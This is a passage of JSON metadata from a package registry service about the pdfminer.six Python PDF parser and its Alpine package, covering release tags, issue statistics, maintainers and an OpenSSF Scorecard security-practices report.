4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:18.338Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":6.030839073262366,"stargazers_count":3.420475892298059,"forks_count":3.3813400125234816,"average":3.2081637445209767},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":"clandmeter@alpinelinux.org","url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":197,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-01-31T21:02:55.608Z","updated_at":"2023-01-31T21:02:55.608Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39449,"maintainers_count":884,"namespaces_count":3,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community","testing"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-04-27T18:20:22.267Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":8677560,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_number":"20221105-r1","last_synced_at":"2026-04-01T03:25:59.461Z","created_at":"2023-12-20T10:29:08.424Z","updated_at":"2026-04-01T03:25:59.462Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and 